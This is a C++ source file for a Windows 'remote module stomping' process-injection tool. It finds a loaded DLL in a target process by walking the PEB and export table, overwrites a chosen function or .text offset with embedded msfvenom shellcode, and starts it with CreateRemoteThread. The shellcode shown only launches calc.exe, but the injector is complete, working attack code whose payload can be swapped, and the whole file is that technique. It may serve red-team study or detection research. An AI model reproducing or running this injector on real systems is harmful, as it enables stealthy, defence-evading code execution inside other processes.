/* * remote module stomping: locate a sacrificial DLL in the process memory, locate a function to stomp (it'll be within the .text section, this is lazy) * & inject calc.exe msfvenom shellcode into the target buffer, toggling the memory protection between RW and RWX * shellcode: msfvenom -p windows/x64/exec CMD=calc.exe -f C EXITFUNC=thread * compile: cl.exe remote-stomp.cpp ..\includes\peb-eat-utils.cpp ..\includes\utils.cpp /W0 */ #include #include #include #include #include "..\includes\peb-eat-utils.h" #include "..\includes\utils.h" void PrintUsage(const char* programName) { printf("[INFO] Usage: %s -p -d [-f | -o ] [Options]\n", programName); printf(" -p : Target Process ID (PID)\n"); printf(" -d : Name of the target DLL (e.g., wininet.dll)\n"); printf(" -f : Name of the exported function to stomp (e.g., CommitUrlCacheEntryW)\n"); printf(" -o : Hexadecimal offset relative to the .text section start (e.g., 0x1A40 or 1A40)\n"); printf("\nOptions:\n"); printf(" -n : Enable NOP testing mode (ignores hardcoded shellcode)\n"); printf(" -s : Number of NOP bytes to write (required if -n is used)\n"); } int main(int argc, char *argv[]) { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; DWORD pid = 0; char* targetDll = NULL; char* targetFunction = NULL; BOOL hasOffset = FALSE; DWORD textOffset = 0; BOOL nopMode = FALSE; DWORD nopSize = 0; unsigned char* writeBuffer = NULL; SIZE_T writeSize = 0; // Parse the command line arguments using switches for (int i = 1; i < argc; i++) { if (strcmp(argv[i], "-p") == 0 && i + 1 < argc) { pid = my_atoi(argv[++i]); } else if (strcmp(argv[i], "-d") == 0 && i + 1 < argc) { targetDll = argv[++i]; } else if (strcmp(argv[i], "-f") == 0 && i + 1 < argc) { targetFunction = argv[++i]; } else if (strcmp(argv[i], "-o") == 0 && i + 1 < argc) { hasOffset = TRUE; // Parse the string as a hexadecimal value (handles both "0x1A" and "1A" format variants) textOffset = (DWORD)strtoul(argv[++i], NULL, 16); } else if (strcmp(argv[i], "-n") == 0) { nopMode = TRUE; } else if (strcmp(argv[i], "-s") == 0 && i + 1 < argc) { nopSize = (DWORD)my_atoi(argv[++i]); } else { printf("[ERROR] Invalid or incomplete argument: %s\n", argv[i]); PrintUsage(argv[0]); return -1; } } // Validate that all core fields were filled if (pid == 0 || targetDll == NULL) { printf("[ERROR] Missing required arguments (PID and Target DLL are mandatory)!\n"); PrintUsage(argv[0]); return -1; } // Enforce mutual exclusivity between function string naming and raw offset addressing if (targetFunction != NULL && hasOffset) { printf("[ERROR] Ambiguous targeting strategy! Specify a function export (-f) OR a text offset (-o), not both.\n"); PrintUsage(argv[0]); return -1; } // Fallback if neither positioning parameter was supplied if (targetFunction == NULL && !hasOffset) { printf("[INFO] Neither function (-f) nor offset (-o) specified. Defaulting to base of .text section.\n"); } // Validate NOP mode logic rules if (nopMode && nopSize == 0) { printf("[ERROR] NOP mode (-n) enabled, but no size (-s) specified!\n"); PrintUsage(argv[0]); return -1; } // Handle buffer configuration based on mode selected if (nopMode) { printf("[*] NOP mode active. Generating %u bytes of NOP alignment data.\n", nopSize); writeBuffer = (unsigned char*)malloc(nopSize); if (writeBuffer == NULL) { printf("[ERROR] Memory allocation failed for NOP buffer.\n"); return -1; } memset(writeBuffer, 0x90, nopSize); writeSize = nopSize; } else { writeBuffer = buf; writeSize = sizeof buf; } printf("[*] Running PI with target PID: %u\n", pid); // Open a handle to the target process HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid)); if (pHandle == NULL) { printf("Failed to acquire process handle!\n"); if (nopMode) free(writeBuffer); return -1; } printf("[*] Successfully opened handle to PID: %u\n", pid); PVOID remotePebAddr = GetRemotePebAddress(pHandle); if (!remotePebAddr) { printf("[*] ERROR: Failed to find the PEB address. Error %lu\n", GetLastError()); CloseHandle(pHandle); if (nopMode) free(writeBuffer); return -1; } printf("[*] Target PEB located at: : 0x%016llx\n", (ULONG_PTR)remotePebAddr); PPEB peb_ptr = (PPEB)remotePebAddr; printf("[*] Attempting to locate the module base for %s.\n", targetDll); PVOID targetModuleBase = GetModuleBaseManualRemote(pHandle, peb_ptr, targetDll); if (!targetModuleBase) { printf("[ERROR] Failed to locate target module base.\n"); CloseHandle(pHandle); if (nopMode) free(writeBuffer); return -1; } printf("[*] Target DLL base located at: : 0x%016llx\n", (ULONG_PTR)targetModuleBase); LPVOID bufferAddress = NULL; // Dynamic Export Lookup if (targetFunction != NULL) { printf("[*] Attempting to locate function: %s\n", targetFunction); bufferAddress = (LPVOID)GetRemoteProcAddressManual(pHandle, targetModuleBase, targetFunction); if (bufferAddress == NULL) { printf("[ERROR] Failed to locate target function %s! Error: %lu\n", targetFunction, GetLastError()); CloseHandle(pHandle); if (nopMode) free(writeBuffer); return -1; } printf("[*] Target %s!%s located at: 0x%016llx\n", targetDll, targetFunction, (ULONG_PTR)bufferAddress); } // Image-Base Relative RVA Positioning else { if (hasOffset) { printf("[*] Applying RVA offset 0x%X directly from Image Base\n", textOffset); bufferAddress = (LPVOID)((PBYTE)targetModuleBase + textOffset); } else { printf("[*] No function or offset specified. Locating absolute start of .text section.\n"); IMAGE_SECTION_INFO sectionInfo = { 0 }; if (GetRemoteModuleSection(pHandle, targetModuleBase, ".text", §ionInfo)) { bufferAddress = (LPVOID)((PBYTE)targetModuleBase + sectionInfo.VirtualAddress); } else { printf("[ERROR] Failed to locate .text section within the target module.\n"); CloseHandle(pHandle); if (nopMode) free(writeBuffer); return -1; } } if (bufferAddress != NULL) { printf("[*] Target address resolved to: 0x%016llx\n", (ULONG_PTR)bufferAddress); } } printf("[*] Writing to buffer.\n"); // Write either the shellcode or the NOP payload to the target area BOOL writePayload = WriteProcessMemory(pHandle, bufferAddress, writeBuffer, writeSize, NULL); if (writePayload == FALSE) { printf("[ERROR] Failed to write data! Using address: 0x%016llx, Error: %lu\n", (ULONG_PTR)bufferAddress, GetLastError()); CloseHandle(pHandle); if (nopMode) free(writeBuffer); return -1; } // Only invoke thread execution if we are in target shellcode execution mode if (!nopMode) { printf("[*] Creating a new thread.\n"); HANDLE tHandle = CreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, 0, NULL); if (tHandle == NULL) { printf("[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n", pid, GetLastError()); CloseHandle(pHandle); return -1; } CloseHandle(tHandle); } else { printf("[*] Skipping thread creation (NOP testing mode complete).\n"); } // Clean up open structures CloseHandle(pHandle); if (nopMode) { free(writeBuffer); } printf("[*] Process injection operation complete.\n"); return 0; }